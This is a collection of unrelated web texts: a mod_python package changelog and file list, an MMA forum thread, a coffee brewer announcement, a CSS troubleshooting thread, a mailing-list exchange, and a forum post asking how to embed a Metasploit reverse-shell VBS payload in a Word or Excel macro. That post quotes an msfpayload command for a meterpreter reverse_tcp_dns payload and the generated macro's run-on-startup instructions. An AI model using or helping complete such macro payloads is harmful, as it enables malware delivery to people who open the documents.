when mod_python handlers are | defined for more than one phase at the same time. | - (MODPYTHON-182) Fixed memory leak in req.readline(). | - (MODPYTHON-184) Fix memory leak in apache.make_table(). This was | used by util.FieldStorage class so affected all code using forms. | - (MODPYTHON-185) Fixed segfault in psp.parsestring(src_string) | when src_string is empty. | - (MODPYTHON-187) Table objects could crash in various ways when | the value of an item was NULL. This could occur for | SCRIPT_FILENAME when the req.subprocess_env table was accessed in | the post read request handler phase. | - (MODPYTHON-189) Fixed representation returned by calling repr() | on a table object. | - (MODPYTHON-191) Session class will no longer accept a normal | cookie if a signed cookie was expected. | - (MODPYTHON-194) Fixed potential memory leak due to not clearing | the state of thread state objects before deleting them. | - (MODPYTHON-195) Fix potential Win32 resource leaks in parent | Apache process when process restarts occur. | - (MODPYTHON-198) Python 2.5 broke nested | __auth__/__access__/__auth_realm__ in mod_python.publisher. | - (MODPYTHON-200) Fixed problem whereby signed and marshalled | cookies could not be used at the same time. When expecting | marshalled cookie, any signed, but not marshalled cookies will be | returned as normal cookies. * Mon Oct 23 2006 firstname.lastname@example.com - simplify last fix, so it still builds with python < 2.5. * Sat Sep 23 2006 firstname.lastname@example.com - Fix build with python 2.5. * Sat Aug 19 2006 firstname.lastname@example.com - update to 3.2.10 |- New Features | - (MODPYTHON-78) Added support for Apache 2.2. | - (MODPYTHON-94) New req.is_https() and req.ssl_var_lookup() | methods. These communicate direct with the Apache mod_ssl | module, allowing it to be determined if the connection is | using SSL/TLS and what the values of internal ssl variables | are. | - (MODPYTHON-137) New req.server.get_options() method. This | returns the subset of Python options set at global scope | within the Apache configuration. That is, outside of the | context of any VirtualHost, Location, Directory or Files | directives. | - (MODPYTHON-131) The directory used for mutex locks can now be | specified at at compile time using ./configure | --with-mutex-dir value or at run time with PythonOption | mod_python.mutex_directory value. | - (MODPYTHON-145) The number of mutex locks can now be | specified at run time with PythonOption | mod_python.mutex_locks value. | - (MODPYTHON-172) Fixed three memory leaks that were found in | _apachemodule.parse_qsl, req.readlines and util.cfgtree_walk. |- Improvements | - (MODPYTHON-77) Third party C modules that use the simplified | API for the Global Interpreter Lock (GIL), as described in | PEP 311, can now be used. The only requirement is that such | modules can only be used in the context of the | "main_interpreter". | - (MODPYTHON-119) DbmSession unit test no longer uses the | default directory for the dbm file, so the test will not | interfer with the user's current apache instance. | - (MODPYTHON-158) Added additional debugging and logging output | for where mod_python cannot initialise itself properly due to | Python or mod_python version mismatches or missing Python | module code files. |- Bug Fixes | - (MODPYTHON-122) Fixed configure problem when using bash 3.1.x. | - (MODPYTHON-173) Fixed DbmSession to create db file with mode 0640. | - (MODPYTHON-84) Fixed request.sendfile() bug for symlinked | files on Win32. - drop obsolete patches * Sat Aug 19 2006 email@example.com - update to 3.2.8 |- New Features: | - New apache.register_cleanup() method. | - New apache.exists_config_define() method. | - New file-based session manager class. | - Session cookie name can be specified. | - The maximum number of mutexes mod_python uses for session | locking can now be specifed at compile time using configure | --with-max-locks. | - New a version attribute in mod_python module. | - New test handler testhandler.py has been added. |- Improvements | - Autoreload of a module using apache.import_module() now works | if modification time for the module is different from the | file. Previously, the module was only reloaded if the the | modification time of the file was more recent. This allows | for a more graceful reload if a file with an older | modification time needs to be restored from backup. | - Fixed the publisher traversal security issue | - Objects hierarchy a la CherryPy can now be published. | - mod_python.c now logs reason for a 500 error | - Calls to PyErr_Print in mod_python.c are now followed by | fflush() | - Using an empty value with PythonOption will unset a | PythonOption key. | - req.path_info is now a read/write member. | - Improvements to FieldStorage allow uploading of large files. | Uploaded files are now streamed to disk, not to memory. | - Path to flex is now discovered at configuration time or can | be specifed using configure --with-flex=/path/to/flex. | - sys.argv is now initialized to ["mod_python"] so that modules | like numarray and pychart can work properly. |- Bug Fixes | - Fixed memory leak which resulted from circular references | starting from the request object. | - Fixed memory leak resulting from multiple PythonOption | directives. | - Fixed Multiple/redundant interpreter creation problem. | - Cookie attributes with attribute names prefixed with $ are | now ignored. See Section 4.7 for more information. | - Bug in setting up of config_dir from Handler directives | fixed. | - mod_python.publisher will now support modules with the same | name but in different directories | - Fixed continual reloading of modules problem | - Fixed big marshalled cookies error. | - Fixed mod_python.publisher extension handling | - mod_python.publisher default index file traversal | - mod_python.publisher loading wrong module and giving no | warning/error | - apply_fs_data() now works with "new style" objects | - File descriptor fd closed after ap_send_fd() in | req_sendfile() | - Bug in mem_cleanup in MemorySession fixed. | - Fixed bug in _apache._global_lock() which could cause a | segfault if the lock index parameter is greater number of | mutexes created at mod_python startup. | - Fixed bug where local_ip and local_host in connection object | were returning remote_ip and remote_host instead | - Fixed install_dso Makefile rule so it only installs the dso, | not the python files | - Potential deadlock in psp cache handling fixed | - Fixed bug where sessions are used outside <Directory> | directive. | - Fixed compile problem on IRIX. ln -s requires both TARGET and | LINK_NAME on IRIX. ie. ln -s TARGET LINK_NAME | - Fixed ./configure problem on SuSE Linux 9.2 (x86-64). Python | libraries are in lib64/ for this platform. | - Fixed req.sendfile() problem where sendfile(filename) sends | the incorrect number of bytes when filename is a symlink. | - Fixed problem where util.FieldStorage was not correctly | checking the mime types of POSTed entities | - Fixed conn.local_addr and conn.remote_addr for a better IPv6 | support. | - Fixed psp_parser.l to properly escape backslash-n, | backslash-t and backslash-r character sequences. | - Fixed segfault bug when accessing some request object members | (allowed_methods, allowed_xmethods, content_languages) and | some server object members (names, wild_names). | - Fixed request.add_handler() segfault bug when adding a | handler to an empty handler list. | - Fixed PythonAutoReload directive so that AutoReload can be | turned off. | - Fixed connection object read() bug on FreeBSD. | - Fixed potential buffer corruption bug in connection object | read(). - remove references to obsolete APR_STATUS_IS_SUCCESS and apr_sockaddr_port_get() for libapr-1.2.7 - drop obsolete mod_python-3.1.3-publisher.dif - fix installation into the correct libdir, it didn't work anymore * Sat Mar 04 2006 email@example.com - updated to reflect python changes due to #149809 * Mon Jan 30 2006 firstname.lastname@example.com - removed libapr-util1-devel from BuildRequires (apache2-devel does require it)
/usr/lib/apache2/mod_python.so /usr/lib/python2.7/site-packages/mod_python /usr/lib/python2.7/site-packages/mod_python-3.3.1-py2.7.egg-info /usr/lib/python2.7/site-packages/mod_python/Cookie.py /usr/lib/python2.7/site-packages/mod_python/Cookie.pyc /usr/lib/python2.7/site-packages/mod_python/Cookie.pyo /usr/lib/python2.7/site-packages/mod_python/Session.py /usr/lib/python2.7/site-packages/mod_python/Session.pyc /usr/lib/python2.7/site-packages/mod_python/Session.pyo /usr/lib/python2.7/site-packages/mod_python/__init__.py /usr/lib/python2.7/site-packages/mod_python/__init__.pyc /usr/lib/python2.7/site-packages/mod_python/__init__.pyo /usr/lib/python2.7/site-packages/mod_python/_psp.so /usr/lib/python2.7/site-packages/mod_python/apache.py /usr/lib/python2.7/site-packages/mod_python/apache.pyc /usr/lib/python2.7/site-packages/mod_python/apache.pyo /usr/lib/python2.7/site-packages/mod_python/cache.py /usr/lib/python2.7/site-packages/mod_python/cache.pyc /usr/lib/python2.7/site-packages/mod_python/cache.pyo /usr/lib/python2.7/site-packages/mod_python/cgihandler.py /usr/lib/python2.7/site-packages/mod_python/cgihandler.pyc /usr/lib/python2.7/site-packages/mod_python/cgihandler.pyo /usr/lib/python2.7/site-packages/mod_python/importer.py /usr/lib/python2.7/site-packages/mod_python/importer.pyc /usr/lib/python2.7/site-packages/mod_python/importer.pyo /usr/lib/python2.7/site-packages/mod_python/psp.py /usr/lib/python2.7/site-packages/mod_python/psp.pyc /usr/lib/python2.7/site-packages/mod_python/psp.pyo /usr/lib/python2.7/site-packages/mod_python/publisher.py /usr/lib/python2.7/site-packages/mod_python/publisher.pyc /usr/lib/python2.7/site-packages/mod_python/publisher.pyo /usr/lib/python2.7/site-packages/mod_python/python22.py /usr/lib/python2.7/site-packages/mod_python/python22.pyc /usr/lib/python2.7/site-packages/mod_python/python22.pyo /usr/lib/python2.7/site-packages/mod_python/testhandler.py /usr/lib/python2.7/site-packages/mod_python/testhandler.pyc /usr/lib/python2.7/site-packages/mod_python/testhandler.pyo /usr/lib/python2.7/site-packages/mod_python/util.py /usr/lib/python2.7/site-packages/mod_python/util.pyc /usr/lib/python2.7/site-packages/mod_python/util.pyo /usr/share/doc/packages/apache2-mod_python /usr/share/doc/packages/apache2-mod_python/COPYRIGHT /usr/share/doc/packages/apache2-mod_python/CREDITS /usr/share/doc/packages/apache2-mod_python/NEWS /usr/share/doc/packages/apache2-mod_python/README /usr/share/doc/packages/apache2-mod_python/doc-html /usr/share/doc/packages/apache2-mod_python/doc-html/about.html /usr/share/doc/packages/apache2-mod_python/doc-html/app-changes-from-2.x.html /usr/share/doc/packages/apache2-mod_python/doc-html/app-changes-from-3.1.4.html /usr/share/doc/packages/apache2-mod_python/doc-html/app-changes-from-3.2.10.html /usr/share/doc/packages/apache2-mod_python/doc-html/app-changes-from-3.2.7.html /usr/share/doc/packages/apache2-mod_python/doc-html/app-changes.html /usr/share/doc/packages/apache2-mod_python/doc-html/blank.png /usr/share/doc/packages/apache2-mod_python/doc-html/contents.html /usr/share/doc/packages/apache2-mod_python/doc-html/contents.png /usr/share/doc/packages/apache2-mod_python/doc-html/dir-conn-ch.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-conn.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-filter-if.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-filter-of.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-filter.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-ach.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-auh.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-auzh.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-fuh.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-hph.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-pch.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-ph.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-pih.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-plh.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-prrh.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-syn.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-th.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers-tph.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-handlers.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-epd.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-ipd.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-ipdv.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-par.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-pd.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-phm.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-pi.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-pimp.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-po.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-pomz.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other-pp.html /usr/share/doc/packages/apache2-mod_python/doc-html/dir-other.html /usr/share/doc/packages/apache2-mod_python/doc-html/directives.html /usr/share/doc/packages/apache2-mod_python/doc-html/front.html /usr/share/doc/packages/apache2-mod_python/doc-html/genindex.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-cgi.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-psp.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub-alg-args.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub-alg-auth.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub-alg-trav.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub-alg.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub-intro.html /usr/share/doc/packages/apache2-mod_python/doc-html/hand-pub.html /usr/share/doc/packages/apache2-mod_python/doc-html/handlers.html /usr/share/doc/packages/apache2-mod_python/doc-html/icons /usr/share/doc/packages/apache2-mod_python/doc-html/icons/blank.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/blank.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/contents.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/contents.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/index.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/index.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/modules.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/modules.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/next.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/next.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/previous.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/previous.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/pyfav.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/pyfav.png /usr/share/doc/packages/apache2-mod_python/doc-html/icons/up.gif /usr/share/doc/packages/apache2-mod_python/doc-html/icons/up.png /usr/share/doc/packages/apache2-mod_python/doc-html/index.html /usr/share/doc/packages/apache2-mod_python/doc-html/index.png /usr/share/doc/packages/apache2-mod_python/doc-html/inst-apacheconfig.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-compiling.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-configure.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-installing.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-make.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-makeinstall.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-prerequisites.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-testing.html /usr/share/doc/packages/apache2-mod_python/doc-html/inst-trouble.html /usr/share/doc/packages/apache2-mod_python/doc-html/installation.html /usr/share/doc/packages/apache2-mod_python/doc-html/intr-flexibility.html /usr/share/doc/packages/apache2-mod_python/doc-html/intr-history.html /usr/share/doc/packages/apache2-mod_python/doc-html/intr-performance.html /usr/share/doc/packages/apache2-mod_python/doc-html/introduction.html /usr/share/doc/packages/apache2-mod_python/doc-html/modpython.css /usr/share/doc/packages/apache2-mod_python/doc-html/modpython.html /usr/share/doc/packages/apache2-mod_python/doc-html/module-apache.html /usr/share/doc/packages/apache2-mod_python/doc-html/modules.png /usr/share/doc/packages/apache2-mod_python/doc-html/next.png /usr/share/doc/packages/apache2-mod_python/doc-html/node103.html /usr/share/doc/packages/apache2-mod_python/doc-html/previous.png /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-apmem.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-apmeth.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-conn.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-cookie-classes.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-cookie-example.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-cookie-func.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-cookie.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-filter.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-handler.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-interps.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpconn-mem.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpconn-meth.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpconn.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpfilt-mem.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpfilt-meth.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpfilt.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mprequest-mem.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mprequest-meth.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mprequest.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpserver.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpsrv-mem.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mpsrv-meth.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-mptable.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-psp.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-sess-classes.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-sess-example.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-sess.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-util-fstor-examples.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-util-fstor-fld.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-util-fstor.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-util-funcs.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyapi-util.html /usr/share/doc/packages/apache2-mod_python/doc-html/pyfav.png /usr/share/doc/packages/apache2-mod_python/doc-html/pythonapi.html /usr/share/doc/packages/apache2-mod_python/doc-html/security.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-conditionals.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-data-scope.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-globals.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-output-filter.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-overview.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi-python-code.html /usr/share/doc/packages/apache2-mod_python/doc-html/ssi.html /usr/share/doc/packages/apache2-mod_python/doc-html/tut-404-handler.html /usr/share/doc/packages/apache2-mod_python/doc-html/tut-more-complicated.html /usr/share/doc/packages/apache2-mod_python/doc-html/tut-overview.html /usr/share/doc/packages/apache2-mod_python/doc-html/tut-pub.html /usr/share/doc/packages/apache2-mod_python/doc-html/tut-what-it-do.html /usr/share/doc/packages/apache2-mod_python/doc-html/tutorial.html /usr/share/doc/packages/apache2-mod_python/doc-html/up.png
Generated by rpm2html 1.8.1
Fabrice Bellet, Mon Jul 10 03:26:05 2017


text:
Sig awaiting witty quote from someone.
Sonnen getting a title shot just proves again that MMA is not a sport.
If it was a sport, Sonnen would not be getting a title shot.
Sherdog.com - The number one MMA site on the web today!
Lesnar couldn't save TUF.
And neither will this.
The current series is utter shit - The level of ability on this show is piss poor. I see a much better standard of the local MMA scene in Wales.
I'm enjoying 'The Smashes' and maybe that is because I could see a few of them having a impact in the UFC main roster?
Either improve the level of ability on the show or try something else.
Maybe more Prime Times or following a rookie fighter with legit talent as he makes his way to the UFC?
^ Sonnen is a bigger draw that Lesnar in terms of Comedy value, and figures because people enjoy seeing him outside of the cage where he works his whimsical comedy gold, the main thing about Lesnar was people liked see to see him fight that was about it.
I just liked seeing Lesnar finished lol.
I see Hendo has now taken to bitching about this, saying the title shot is bringing the sport into disrepute. Whilst I agree him in principle, I think it's a bit hypocritical. It's not like he's earned a title shot either really and doesn't have much of a better case than Chael. His only significant win since Bisping in 2009 was his razor close decision over Shogun and that hardly makes him the obvious #1 contender.
I suppose what this really highlights is that there is nobody with a valid claim to fight Jones. In which case, tying him up for 6 months with TUF makes sense for the belt (gives a chance for one of the up-and-coming fighters to rise to the surface, eg Glover or Alexander), makes sense for Jones' image (which needs a PR boost) and makes sense for TUF's waning viewing figures. Putting Chael in there on the other side is probably the best choice for the viewers too. It provides the most entertainment while polarizing Jones' into a good guy role.
So, while I don't fancy the fight, I think the UFC have made the best possible decision. I'll shut my mouth and stop complaining now.
See I think pretty much any LHW deserves the shot more than Chael, Chael hasnt fought at LHW in years, not even sure if he won his last LHW fight? Dude has been spanked by Silva, skimmed through a close decision with Bisping, what else has he done?
I agree 100% with Hendo, Hendo's body of work over the last couple of years pisses all over Chael's to be fair, dude put Fedor out, had a war with Rua etc, Chael.... well he lost to Silva...again...at a lower weight.
This is a bad bad bad idea from the UFC, though...conspiracy theorist in me thinks Jones is injured and will be on the shelf for awhile, this show will be used to build up Chaels profile / TUF's ratings, but no actual fight will happen.... or at least I hope thats the case. Otherwise, in the next few years, how many clowns are we going to have to put up with running their mouths off just because if they do a good enough job, it skips them to the front of a title shot.
Sig awaiting witty quote from someone.


text:
Bookmark this site
MONTEBELLO, CA -- Wilbur Curtis has developed a device that ensures decanters are serving coffee at its peak of freshness. The FreshTrac digital indicator, available only on Curtis Alpha GT brewers, starts to track the freshness of a batch when the brew cycle begins. It alerts the operator with a visual indicator when coffee is no longer at its peak freshness and a new brew is needed.
Freshness settings, which can range from 10 to 120 minutes, are transmitted to a FreshTrac receiver that snaps onto any Curtis decanter handle. Once the desired freshness time has expired, the indicator will begin flashing red every five seconds until a new pot of coffee is brewed.
Alpha GT brewers provide digital control over brewing time and temperature, and are available in vertical, left, right and deluxe configurations, with a range of one to six warmers. Wilbur Curtis also markets the Gemini and Primo Cappuccino brewers, along with the new Curtis Gold Cup single-cup system.


text:
Is there anyone at your site that does direct support for the book ( build your own website the right way using html & css 3rd edition by Ian Lloyd) … I am having some issues with some parts ..not getting the expected result with the model … I am trying to figure out if it software related or not.
Somehow I am not getting the background images to mount to the site. Nor the float image to go past the half way point in the view window.
What page have you managed to get to or having issues with, and what Browser are you using? Have you made sure you've done a page Refresh/Reload after saving the HTML and CSS files. If you still have problems post he CSS and HTML into this thread so we can see what is happening, as opposed to what is supposed to be happening.
Got to page 172:
<!DOCTYPE html> <meta charset="utf-8" /> <title>Aktivate - reggae band in northeast Calgary</title> <link href="style2.css" rel="stylesheet" type="text/css"/>

Aktivate.ca

Caribbean music - the way we like it!

Home

About Us

Contact Us

Welcome to where Aktivate's music hangs out

We've got some Reggae, Calypso and Aka going on.

The CSS:
body { font-family: Verdana, Helvetica, Arial, sans-serif; background-color: #e2edff; line-height: 125%; padding: 0; margin: 0;}
p { font-size: small; color: navy; }
h1, h2, h3 { font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; }
h1 { font-size: x-large; background-color: navy; color: white; padding-top: 2em; padding-bottom: .2em; padding-left: .4em; margin: 0; }
li { font-size: small; list-style-type: none;}
h2 { color: navy; font-size: 130%; font-weight: normal; padding-top: 15px;}
em { text-transform: uppercase;}
font-style: italic;
font-family: Georgia, Times, serif;
background-color: #bed8f3;
border-top: 3px solid #7da5d8;
border-bottom: 3px solid #7da5d8;
padding-top: .2em;
padding-bottom: .2em;
padding-left: .8em;
margin: 0;
a { font-weight: bold; }
a:link { color: black;}
a:visited { color: navy;}
a:hover { text-decoration: none; color: white; background-color: navy;}
a:active { color: aqua; background-color: navy;}
.fun { color: #339999; font-family: Georgia, Times serif; letter-spacing: 0.05em;}
blockquote { font-style: italic;}
width: 180px;
background-color: #7da5d8;
h2, ul { margin-top: 15px;}
border-top: 3px solid #7da5d8;
.feature { float: right; margin: 10px;}
position: absolute;
top: 6.54em;
left: 200px;
width: 100%;
At this stage, you don't have any background images called in your style sheet, so you might need to give more info on what you've tried so far.
Regarding the float image, sould you perhaps post a screen shot of what you are seeing, and tell us what browser you are using? The code you posted should be looking fine.
I tried for a screen shot
OK, but what's wrong there? That looks lust like it should, doesn't it?
Not at all, here is a screen shot from the archive download for the book with the same image and its position. Also attached is a zip with css mount background image instruction along with the html
For the nav background to appear on the page, you need to place it in a folder called "backgrounds", because that's where you are telling your style sheet to find it:
background: #7da5d8 url(backgrounds/nav-bg.jpg) no-repeat;
I did that many times over and the background do not mount .. can you put the css & html I sent together and let me know if it does mount the background picture .. if does then I am dealing with something very different.
Did you notice that there is a difference between the 2 screen shots.
Yes, I did that and it worked. All I had to co it create an extra /backgrounds/ folder and put the background image in there. The alternative is to change the link in the CSS, which might be a good idea in the first place, while you are still learning. Just keep images in your main folder, along with your CSS file and home page, and change the CSS to:
background: #7da5d8 url(nav-bg.jpg) no-repeat;
Well, this is pretty restarting .. since nothing works to get me past this hurdle .. So this upload is exactly what I have done including adding the link as you suggested. Please see if it mounts the images ..
You've left the background images inside the /backgrounds/ folder, but removed the 'backgrounds' bit from the CSS URL. With the folder setup you have right now—in the attachment above—your CSS should look like this:
background: #7da5d8 url(backgrounds/nav-bg.jpg) no-repeat;
BUT ... I found that didn't work, even though it should! I finally realised the reason: your "backgrounds" folder is not actually called that. It actually has a space at the end, meaning it's really called "backgrounds ". Remove that space from the end of the folder name, and update the CSS file as shown above.
O, the small details!
I had written the CSS background link the way you have it above.. that is the way it is written in the book but it did not work then either ... did you manage to get that float image to move to 10px from the right side margin like it is shown in the archive download? Well what it is looking like, is I have a problem on my end, either the computer or the text writer .. what is crazy here is the mark ups from the archive run just fine ... I have actually tried copying the CSS line for line and still the snag hangs on. What is even crazier is I have 2 computers but the same text writer on both and I get the same snag at the same places... If you come up with any other ideas that I may try shoot them my way .. let me know on the float image .. thanks man
So did that solve the background issue for you? I gave you the solution to that in my last post.
Not sure what you mean there. You didn't mention this as an issue, as far as I can see. There is a 10px margin around the image in the files you provided above, which works fine for me. Perhaps post another screen shot of what you are seeing and what you expect to see if there's a problem.
Sorry I was not very clear in the posts 5 & 8. Here I post the screen shots of what it is support to look like and what I am getting. The backgrounds still not work.
Let's sort this one first. Please make sure to give some kind of detail of what you are doing. I noted above the two things yo need to do to fix the background issue: fix the folder name (remove a space at the end) and keep the word "backgrounds" in your CSS file url( ). Did you try those steps? Did you understand them? I can't help unless you give some feedback.
The layout issue is odd. What you show on the left above is the way it should be based on the code you posted above. Perhaps the author's version is from a later stage when he has used a better layout technique. position: absolute should not be used for page layout, so I presume he's presenting that initially just to show you how it works. (I haven't read the book.)
Let me sat to have been such a pain: Sorry to have not said anything about what works or not .. Nothing has worked so far one bit. Well I am sure what space your are asking me to remove : The background links in the css, I wrote it same as the above, the one you sent me : The background image folder is labeled as (backgrounds) and it is in the same folder as the html & the CSS pages.
The book I have of the author is the 3rd edition and just be sure I picked up a copy of the 2nd edition and the 2nd is exactly the same as the 3rd as far as the codes go from where the codes starts all the way to the background images, nav/ tagline and header. The absolute bit is in both books and is a part of the CSS styling and functions the same way .. Here is something... the float image does the float as instructed by the CSS to float right in a test before the all the styling starts and that is puzzling that as soon as the styling is in place and the image is assigned to to float right it stops in the middle of the page and it does look odd there. See in the CSS I sent for the way the float is written.
Yes, but you missed my point above. You do have a folder called "backgrounds ", but as you typed the word "backgrounds" as the folder name, you added an extra space at the end. You need to highlight the folder name and remove the space from the end. Unfortunately, computers take everything very literally, and that extra space at the end counts as part of the name.
Now I understand what you were getting at and now the backgrounds mount. Such a small not knowing .. Now is there a way to have this float image to move more to the right. It does look odd right there in the middle ..
Now I can breath and keep what I have left of my hair..
Thanks for hanging in there with me..
Cool, glad that bit is sorted.
I've looked at the layout issue, and it is very strange that your layout differs from the code sample the book gives. It's very odd, because I can't see any differences. Will have to mull further over this one.
Unfortunately, using position: absolute is not a good page layout method anyway, so presumably the book goes on to describe better ways. I'd advise reading the book right through before deciding on this layout method.


text:
Hello there!
I'm trying to inject a payload vbs into an excel or word document as described in the Metasploit Unleashed article. But I just get the errors as the guy in this thread. There seems to be an error in the line
I tried office 2003 and 2007 without any success. Installing and updating MSF3 via SVN, as someone in the mentioned problem thread advised, didn't work for me, exactly the same behaviour.Code:Dim GENERICNAME As Paragraph
When I execute
I get the output, which tells me to copy the macro code into the VB-Editor and to append the hexdump payload data to the end of the document. I don't get the last part... Do I have to copy-paste the hexdump just to the end of a, for instance, word document? The error I described above occurs anyways. :SCode:./msfpayload windows/meterpreter/reverse_tcp_dns LHOST=xxx.xxx.xxx.xxx LPORT=xxxx ENCODING=shikata_ga_nai V > payload.vbs
What am I doing wrong? Thanks for help, guys!Code:'************************************************************** '* '* This code is now split into two pieces: '* 1. The Macro. This must be copied into the Office document '* macro editor. This macro will run on startup. '* '* 2. The Data. The hex dump at the end of this output must be '* appended to the end of the document contents. '* '**************************************************************
If my problem's too special for the beginner's forum, could a mod please move the thread to the expert's area?


text: Nice post...BTWE, where's the class today? I left the little slip of paper at home. Thx, Steve -----Original Message----- From: robert m. tynes [mailto:rtynes at u.washington.edu] Sent: Thursday, March 07, 2002 9:59 AM To: air-l at aoir.org Subject: Re: [Air-l] The Dire State of the AoIR List Dear all, I tend think of noise as very useful public information, and would be very leery of any rule-making, such as proposed by David Neice. Although I have found some of the *brain farts* annoying at times, I don't believe in banning them, or even castigating them. After all, social groups tend to self-regulate quite well, even when there are no codified rules. An example of this would be THIS CONVERSATION. So AOIR is boring? Well, say something intriguing. Anyway, I vote for no more rule-making. -Robert Tynes On Thu, 7 Mar 2002, David Neice wrote: > Hi, > > In the space of a year the AoIR list has gone from being mildly > interesting to being almost unreadable. I am not the only one who > is noticing the deterioration. > > In the interests of communication I suggest we: > > 1) Learn to use our email options and preferences. If an Internet > researcher used the AoIR list as an unobtrusive indicator of the > 'technical knowledge' of Internet researchers, their conclusions > would be dire. > > 2) Refrain from posting HTML, Word .doc (and other word > processor) files as well as MIME files. JUST PLAIN ASCII > PLEASE. ASCII file convertors are available for most word > processors. Also please check the options list re ASCII in your > email program. > > 3) Limit the recent trend towards posting 'brain farts', personal > attacks, and comments intended for one other person. THIS IS A > PUBLIC INFORMATION LIST. Please email personal comments > one-to-one. > > 4) Actually think about what we post, and, in particular, assess > how useful will it be to a wide range of list members. Idiosyncratic > commentary and unedited streams of consciousness are pushing > the noise-to-signal ratio way up. > > Cheers, > david neice > ~~~~~~~~~~~~~~~~~~~~ > David C. Neice DPhil. > digital-literacy.com :-) > Website at http://www.kw.igs.net/~neice/ > Address: 47 Combermere, Waterloo, Ontario, Canada N2L 5B2 > Tel: 519-885-2951 Fax: 519-885-5263 > 